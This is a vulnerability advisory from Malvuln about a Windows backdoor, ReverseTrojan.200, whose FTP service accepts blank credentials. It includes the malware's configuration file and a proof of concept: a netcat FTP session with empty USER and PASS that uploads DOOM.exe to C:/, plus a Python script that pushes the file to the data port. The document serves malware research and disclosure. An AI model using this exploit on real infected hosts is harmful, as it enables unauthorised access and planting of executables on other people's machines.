Backdoor.Win32.ReverseTrojan.200 Authentication Bypass

`Discovery / credits: Malvuln - malvuln.com (c) 2021  
Original source: https://malvuln.com/advisory/3fbec7c0623f5f80e4d9c096a50b0d59.txt  
Contact: [email protected]  
Media: twitter.com/malvuln  
  
Threat: Backdoor.Win32.ReverseTrojan.200  
Vulnerability: Authentication Bypass Empty Password  
Description: ReverseTrojan by satan_addict listens on TCP ports, 12000 and 21. The malware accepts empty credentials for authentication as the default settings are set to blank. Third-party attackers who can reach an infected host can potentially gain access to the machine before or if no password is set.  
Type: PE32  
MD5: 3fbec7c0623f5f80e4d9c096a50b0d59  
Vuln ID: MVID-2021-0256  
Disclosure: 06/23/2021  
  
settings.ini  
  
[wsc]  
vernfo=2.00b2  
scurl=http://satanzcrew.no.sapo.pt  
newsurl=http://satanzcrew.no.sapo.pt/news/news.txt  
[socket]  
port=12000  
[ftp]  
port=21  
user=  
pwd=  
[show]  
intro=OFF  
  
Exploit/PoC:  
nc64.exe 192.168.18.127 21  
220 REVERSE TROJAN by satan_addict FTP Server ready.  
USER  
331 Password required for .  
PASS  
230 User logged in.  
SYST  
215 UNIX Type: L8 Internet Component Suite  
PASV  
227 Entering Passive Mode (192,168,18,127,196,208).  
CDUP  
250 CWD command successful. "C:/" is current directory.  
STOR DOOM.exe  
150 Opening data connection for DOOM.exe.  
226 File received ok  
  
  
from socket import *  
  
MALWARE_HOST="192.168.18.127"  
#192*256 + 208  
PORT=50384  
DOOM="DOOM.exe"  
  
def doit():  
s=socket(AF_INET, SOCK_STREAM)  
s.connect((MALWARE_HOST, PORT))  
  
f = open(DOOM, "rb")  
EXE = f.read()  
s.send(EXE)  
  
while EXE:  
s.send(EXE)  
EXE=f.read()  
  
s.close()  
  
print("Backdoor.Win32.ReverseTrojan.200 / Authentication Bypass Empty Password")  
print("MD5: 3fbec7c0623f5f80e4d9c096a50b0d59")  
print("By Malvuln");  
  
if __name__=="__main__":  
doit()  
  
  
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`